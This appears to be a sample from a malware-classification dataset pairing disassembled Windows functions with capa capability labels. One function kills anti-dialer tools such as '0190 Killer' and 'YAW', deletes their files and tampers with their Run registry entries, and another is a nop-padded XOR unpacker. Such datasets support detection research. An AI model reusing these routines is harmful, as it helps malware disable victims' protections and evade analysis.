joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40eb12
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
call fcn.0040eae6
test eax, eax
je 0x40eb2b
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x40eb32
mov ecx, esi
call fcn.0040e88b
mov eax, dword [esp + 0x14]
pop esi
and dword [eax], 0
xor eax, eax
ret 0x10
Function at 0x40ecb4
Capabilities:
Delete file
Get common file path
Persist via run registry key

Disassembly:
sub esp, 0x110
cmp dword [0x414a0c], 0
je 0x40eecf
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x10]
call fcn.0040f560
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
mov ebx, 0x412a78
push str.WEB.DE_SmartSurfer
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov ebp, dword [sym.imp.USER32.dll_PostMessageA]
test eax, eax
je 0x40ed39
push 0
push 0
push 0x10
push eax
call ebp
test eax, eax
je 0x40ed39
push 0x3e8
call edi
push str.WEB.DE_SmartSurfer_2.3
push ebx
call esi
test eax, eax
mov dword [esp + 0x18], eax
je 0x40ed39
push 6
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
push 6
push 0x111
push dword [esp + 0x24]
call ebp
push 0x7d0
call edi
push str.0190_Alarm
push str.TApplication
call esi
test eax, eax
je 0x40ed6a
push 0
push 0
push 0x10
push eax
call ebp
push str.0190_Alarm
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocStringLen
lea ecx, [esp + 0x1c]
call fcn.0040f6b8
push str.0190_Killer_2.0___Control_Center
push ebx
call esi
test eax, eax
je 0x40edcb
push 0
push 0
push 0x10
push eax
call ebp
test eax, eax
je 0x40edb3
push 0x3e8
call edi
push str.0190_Killer
push ebx
call esi
mov ebx, eax
test ebx, ebx
je 0x40edb3
push 6
push ebx
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
push 6
push 0x111
push ebx
call ebp
push 0x7d0
call edi
push str.0190Killer
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocStringLen
lea ecx, [esp + 0x1c]
call fcn.0040f6b8
mov ebx, str.TApplication
push str.YAW_3.0
push ebx
call esi
test eax, eax
je 0x40eead
push 0
push 0
push 0x10
push eax
call ebp
push 0x3e8
call edi
and byte [esp + 0x1c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [esp + 0x1d]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
test eax, eax
je 0x40ee80
lea eax, [esp + 0x1c]
push 0x22
push eax
call fcn.00401cd7
pop ecx
lea eax, [esp + 0x20]
pop ecx
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp byte [esp + eax + 0x1c], 0x5c
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
je 0x40ee49
lea eax, [esp + 0x1c]
push 0x412614
push eax
call edi
call dword [sym.imp.KERNEL32.DLL_GetVersion]
cmp eax, 0x80000000
jae 0x40ee5d
push str.system32_
jmp 0x40ee62
push str.system_
lea eax, [esp + 0x20]
push eax
call edi
lea eax, [esp + 0x1c]
push str.procs.dll
push eax
call edi
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x4135e4
push edi
push SysReAllocStringLen
lea ecx, [esp + 0x1c]
call fcn.0040f6b8
push str.YAW_Autostart
push edi
push SysReAllocStringLen
lea ecx, [esp + 0x1c]
call fcn.0040f6b8
push str.ConnectionWatch
push ebx
call esi
test eax, eax
je 0x40eec2
push 0
push 0
push 0x10
push eax
call ebp
lea ecx, [esp + 0x10]
call fcn.0040f589
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret
Function at 0x40f0c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x410990
push 0x401038
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor esi, esi
mov dword [ebp - 4], esi
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
add ecx, 0xeaf
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
mov dword [ebp - 0x1c], edi
cmp edi, 0xffffffff
je 0x40f153
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov dword [ebp - 0x20], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov dword [ebp - 0x24], eax
push esi
lea ecx, [ebp - 0x20]
push ecx
push eax
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x40f153
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40f881
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, ecx
push dword [esp + 8]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
push dword [esp + 0xc]
push 1
push 0
push dword [esp + 0x1c]
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop esi
inc eax
ret 8

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408e84
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x667d7ebe
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x703600fd
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x10016c9
Capabilities:
Accept command line arguments
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x698
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call fcn.010016b0
xor esi, esi
jmp 0x1001701
cmp ax, 0x20
jne 0x10016ef
inc ebx
inc ebx
jmp 0x1001703
cmp ax, 0x2d
je 0x10016fb
cmp ax, 0x2f
jne 0x100170d
push ebx
call fcn.010016b0
mov ebx, eax
mov ax, word [ebx]
cmp ax, si
jne 0x10016e5
jmp 0x1001716
push ebx
call fcn.010016b0
mov word [eax], si
push 0x100116c
lea eax, [ebp - 0x698]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
mov word [ebp - 0x25c], si
mov ecx, 0x81
lea edi, [ebp - 0x25a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0x104
push edi
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
je 0x1001899
cmp eax, edi
ja 0x1001899
add eax, eax
cmp word [ebp + eax - 0x25e], 0x5c
je 0x1001782
mov word [ebp + eax - 0x25c], 0x5c
mov word [ebp + eax - 0x25a], si
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x1001184
lea eax, [ebp - 0x25c]
push eax
call esi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 3
push edi
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x10017ca
lea eax, [ebp - 0x25c]
push eax
push 0x64
call fcn.010014f7
pop ecx
jmp 0x10018a0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x698]
push eax
call esi
cmp word [ebx], di
je 0x10017fe
push 0x10011a0
lea eax, [ebp - 0x698]
push eax
call esi
push ebx
lea eax, [ebp - 0x698]
push eax
call esi
push 0x11
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push 0x20
push eax
push eax
push eax
lea ecx, [ebp - 0x698]
push ecx
push eax
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], 0xa
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1001866
push 0x1f4
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
jmp 0x10018a1
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
jg 0x1001876
call esi
jmp 0x1001882
call esi
and eax, 0xffff
or eax, 0x80070000
push 0x67
push eax
push 0xd0
push 0x10011b8
call fcn.01001535
add esp, 0x10
jmp 0x10018a1
push 0x66
call fcn.010014f7
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x401ae5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b24
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b24
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b24
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b24
cmp dword [ecx + 0x74], 0xe
jbe 0x401b24
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401020
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, dword [esp + 0x10]
test edi, edi
jle 0x401061
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
mov al, byte [esi]
xor byte [edx], al
mov ecx, 1
cmp edi, ecx
jle 0x401058
push ebx
mov bl, byte [ecx + edx - 1]
mov eax, ecx
and eax, 7
xor bl, byte [eax + esi]
add ecx, 1
xor byte [ecx + edx - 1], bl
cmp ecx, edi
jl 0x401040
pop ebx
mov eax, edi
cdq
add dword [esi], eax
adc dword [esi + 4], edx
pop esi
pop edi
ret 0xc

Function at 0x401070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 0x10]
test ebp, ebp
jle 0x4010bb
push esi
mov esi, dword [esp + 0xc]
mov dl, byte [esi]
push edi
mov edi, dword [esp + 0x14]
mov al, byte [edi]
xor al, dl
mov ecx, 1
cmp ebp, ecx
mov byte [esi], al
jle 0x4010b1
push ebx
mov al, byte [ecx + esi]
mov ebx, ecx
and ebx, 7
mov bl, byte [ebx + edi]
xor bl, al
xor bl, dl
mov byte [ecx + esi], bl
add ecx, 1
cmp ecx, ebp
mov dl, al
jl 0x401095
pop ebx
mov eax, ebp
cdq
add dword [edi], eax
adc dword [edi + 4], edx
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x4010c0
Capabilities:
Hash data with md5

Disassembly:
mov eax, ecx
xor ecx, ecx
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x401410
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret

Function at 0x401e90
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x4a0270]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov eax, 0x4a1780
test eax, eax
jne 0x401eb4
jmp 0x401fa7
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x4a1d70
push str.C:logcrossfire_s_
lea eax, [ebp - 0x208]
push eax
call fcn.0045ee9d
add esp, 0xc
mov al, byte [0x4a1bd8]
mov byte [ebp - 0x208], al
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, dword [ebp + 8]
push eax
call fcn.0045ee71
add esp, 4
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x208]
push ecx
call fcn.0045eb40
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x4a1780
call fcn.0045ee71
add esp, 4
push 0x48d708
lea eax, [ebp - 0x208]
push eax
call fcn.0045eb40
add esp, 8
push 0x4a1780
lea eax, [ebp - 0x208]
push eax
call fcn.0045eb40
add esp, 8
lea eax, [ebp - 0x208]
push eax
push 0x48d704
push 0x4a1bd8
call fcn.0045ee9d
add esp, 0xc
mov eax, dword [str._04d_02d_02d__02d_02d_02d_03d.dmp]
push eax
push 0x4a1dd8
push 0x4a1d70
push 0x4a1bd8
mov ecx, dword [str._sdmp__s__s__s]
push ecx
push 0x4a17e8
call fcn.0045ee9d
add esp, 0x18
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045ee62
mov esp, ebp
pop ebp
ret
Function at 0x401fc0
Capabilities:
Create process memory minidump
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
mov eax, dword [0x4a0270]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x212]
push eax
movzx ecx, word [ebp - 0x216]
push ecx
movzx edx, word [ebp - 0x218]
push edx
push str._d_02d_02d
lea eax, [ebp - 0x318]
push eax
call fcn.0045ee9d
add esp, 0x14
lea eax, [ebp - 0x318]
push eax
call fcn.00401e90
add esp, 4
movzx eax, word [ebp - 0x20a]
push eax
movzx ecx, word [ebp - 0x20c]
push ecx
movzx edx, word [ebp - 0x20e]
push edx
movzx eax, word [ebp - 0x210]
push eax
movzx ecx, word [ebp - 0x212]
push ecx
movzx edx, word [ebp - 0x216]
push edx
movzx eax, word [ebp - 0x218]
push eax
push 0x4a17e8
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x320], 0
cmp dword [ebp - 0x31c], 0
je 0x40215c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], 0
mov dword [ebp - 0x334], 0
mov dword [ebp - 0x330], 0
push 0
push 0
mov eax, dword [ebp - 8]
neg eax
sbb eax, eax
lea ecx, [ebp - 0x32c]
and eax, ecx
push eax
push 2
mov edx, dword [ebp - 0x31c]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.dbghelp.dll_MiniDumpWriteDump
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0
je 0x402135
push str._CrashExceptionDump__Complete_creating_Dump_File___
push 3
push 0x5bf648
call fcn.0041d080
add esp, 0xc
jmp 0x40215c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x338], eax
mov eax, dword [ebp - 0x338]
push eax
push str._CrashExceptionDump__Fail_to_create_Dump_File____Error__d_
push 3
push 0x5bf648
call fcn.0041d080
add esp, 0x10
mov eax, dword [ebp - 0x31c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045ee62
mov esp, ebp
pop ebp
ret 4

Function at 0x402190
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
cmp dword [ecx], 0xc00000fd
jne 0x4021d8
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push fcn.00401fc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4021e1
mov eax, dword [ebp + 8]
push eax
call fcn.00401fc0
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x403320
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0xefcdab89
mov eax, dword [ebp + 8]
mov dword [eax + 0x10], 0x98badcfe
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0x10325476
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x407a60
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48790b
mov eax, dword fs:[0]
push eax
sub esp, 0x50
push ebx
push esi
push edi
mov eax, dword [0x4a0270]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
call fcn.00407bf0
mov eax, dword [ebp - 0x10]
mov dword [eax], vtable.CGameNetworkHandler.0
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 8], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0xc], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x10], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x30], 0xffffffff
mov eax, dword [ebp - 0x10]
mov word [eax + 0x34], 0
push 0x18
call fcn.0045fd52
add esp, 4
mov dword [ebp - 0x54], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x54], 0
je 0x407afe
mov ecx, dword [ebp - 0x54]
call fcn.00415560
mov dword [ebp - 0x5c], eax
jmp 0x407b05
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x58], eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x58]
mov dword [ecx + 0x2c], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x2c]
call fcn.00415630
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x114], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x118], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x11c], 0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x413e20
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], 0
jne 0x413e36
xor eax, eax
jmp 0x413e93
push str.C:pmangcrossfirecf_loginsrv
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov dword [ebp - 8], eax
push 0x103
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
add ecx, 4
push ecx
call fcn.00460df0
add esp, 0xc
mov eax, dword [ebp - 4]
mov byte [eax + 0x107], 0
push 0x103
push str..SecureCode.ini
mov eax, dword [ebp - 4]
add eax, 0x108
push eax
call fcn.00460df0
add esp, 0xc
mov eax, dword [ebp - 4]
mov byte [eax + 0x20b], 0
mov ecx, dword [ebp - 4]
call fcn.00413ea0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4170f0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48822b
mov eax, dword fs:[0]
push eax
mov eax, 0x2078
call fcn.00460980
mov eax, dword [0x4a0270]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
movsx eax, word [ebp + 8]
cmp eax, 3
jne 0x417134
mov word [ebp + 8], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x2018], eax
mov eax, dword [ebp + 0x14]
movsx ecx, byte [eax]
cmp ecx, 0x7c
jne 0x41715b
mov eax, dword [ebp + 0x1c]
mov dword [eax], 0x64
xor eax, eax
jmp 0x4172f8
mov eax, dword [ebp + 0x14]
push eax
movsx ecx, word [ebp + 0x10]
mov edx, dword [ebp - 0x14]
lea eax, [edx + ecx*2 + 4]
push eax
movsx ecx, word [ebp + 0xc]
imul ecx, ecx, 0xf
mov edx, dword [ebp - 0x14]
lea eax, [edx + ecx + 8]
push eax
push str._s_s_s
lea ecx, [ebp - 0x2014]
push ecx
call fcn.0045ee9d
add esp, 0x14
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
lea edx, [ebp - 0x2014]
push edx
movsx eax, word [ebp + 8]
push eax
call dword [sym.imp.DBGWManager.dll_int___cdecl_ExecuteQuery_int__char_const___class_CDBGW_DATA_T_char____int__]
add esp, 0x10
mov dword [ebp - 0x201c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x2020], eax
mov eax, dword [ebp - 0x2020]
sub eax, dword [ebp - 0x2018]
cmp eax, 0x7d0
jbe 0x41723a
mov eax, dword [0x7b3fa8]
mov dword [ebp - 0x2084], eax
mov ecx, dword [0x7b3fa8]
add ecx, 1
mov dword [0x7b3fa8], ecx
movsx edx, word [ebp + 8]
push edx
mov eax, dword [0x7b3fac]
push eax
mov ecx, dword [ebp - 0x2084]
push ecx
mov edx, dword [ebp - 0x2020]
sub edx, dword [ebp - 0x2018]
push edx
push str.Run_InternalExecuteQuery___Time____ldms__SYNC_:__d__ASYNC_:__d__Priority_:__d
push 3
push 0x5bf648
call fcn.0041cb00
add esp, 0x1c
lea eax, [ebp - 0x2014]
push eax
push str.Query_:__s
push 3
push 0x5bf648
call fcn.0041cb00
add esp, 0x10
jmp 0x417287
mov eax, dword [0x7b3fa8]
mov dword [ebp - 0x2084], eax
mov ecx, dword [0x7b3fa8]
add ecx, 1
mov dword [0x7b3fa8], ecx
movsx edx, word [ebp + 8]
push edx
mov eax, dword [0x7b3fac]
push eax
mov ecx, dword [ebp - 0x2084]
push ecx
mov edx, dword [ebp - 0x2020]
sub edx, dword [ebp - 0x2018]
push edx
push str.Run_InternalExecuteQuery___Time____ldms__SYNC_:__d__ASYNC_:__d__Priority_:__d
push 3
push 0x5bf648
call fcn.0041c8e0
add esp, 0x1c
mov eax, dword [ebp - 0x2020]
sub eax, dword [ebp - 0x2018]
mov dword [ebp - 0x2024], eax
cmp dword [ebp - 0x2024], 0x12c
jbe 0x4172f2
lea eax, [ebp - 0x2014]
push eax
lea ecx, [ebp - 0x2040]
call fcn.00406d80
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2040]
call fcn.00406e30
push eax
mov eax, dword [ebp - 0x2024]
push eax
push str.SYNC_t_ld_t_s
push 2
call fcn.00419350
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2040]
call fcn.00406e10
mov eax, dword [ebp - 0x201c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045ee62
mov esp, ebp
pop ebp
ret 0x18
Function at 0x417f40
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1058
call fcn.00460980
mov eax, dword [0x4a0270]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov dword [eax], vtable.CQuery.0
mov eax, dword [ebp - 8]
mov dword [eax + 4], 0
mov dword [ebp - 0x1018], 0
mov dword [ebp - 0x1018], 0
jmp 0x417f95
mov eax, dword [ebp - 0x1018]
add eax, 1
mov dword [ebp - 0x1018], eax
cmp dword [ebp - 0x1018], 0x3e8
jge 0x41805d
mov eax, dword [ebp - 0x1018]
add eax, 1
push eax
push 0x48f680
lea ecx, [ebp - 0x1014]
push ecx
call fcn.0045ee9d
add esp, 0xc
push 0x1000
push 0
lea eax, [ebp - 0x1008]
push eax
call fcn.0045f1b0
add esp, 0xc
push str.DBGWMGR.ini
push 0x1000
lea eax, [ebp - 0x1008]
push eax
push 0x48dd60
lea ecx, [ebp - 0x1014]
push ecx
push str.QUERY
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x1008]
push eax
call fcn.004602c0
add esp, 4
test eax, eax
jne 0x41801b
jmp 0x417f86
push 0x48dd88
lea eax, [ebp - 0x1008]
push eax
call fcn.0046034b
add esp, 8
push eax
mov ecx, dword [ebp - 0x1018]
shl ecx, 0xb
mov edx, dword [ebp - 8]
lea eax, [edx + ecx + 8]
push eax
call fcn.0045eb30
add esp, 8
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
add ecx, 1
mov edx, dword [ebp - 8]
mov dword [edx + 4], ecx
jmp 0x417f86
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045ee62
mov esp, ebp
pop ebp
ret

Function at 0x4186c0
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov eax, dword [0x4a0270]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov byte [ebp - 0x108], 0
push 0xff
push 0
lea eax, [ebp - 0x107]
push eax
call fcn.0045f1b0
add esp, 0xc
push 0x48d7b8
lea eax, [ebp - 0x108]
push eax
call fcn.0045ee9d
add esp, 8
cmp dword [ebp + 8], 0
je 0x41872b
mov eax, dword [ebp + 8]
push eax
call fcn.004602c0
add esp, 4
test eax, eax
jbe 0x41872b
mov eax, dword [ebp + 8]
mov cl, byte [eax]
mov byte [ebp - 0x108], cl
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x48d7b4
call fcn.0045ee71
add esp, 4
push str.log_
lea eax, [ebp - 0x108]
push eax
call fcn.0045eb40
add esp, 8
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push str.crossfire
call fcn.0045ee71
add esp, 4
push str.crossfire
lea eax, [ebp - 0x108]
push eax
call fcn.0045eb40
add esp, 8
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, dword [ebp + 0xc]
push eax
call fcn.0045ee71
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045ee62
mov esp, ebp
pop ebp
ret 8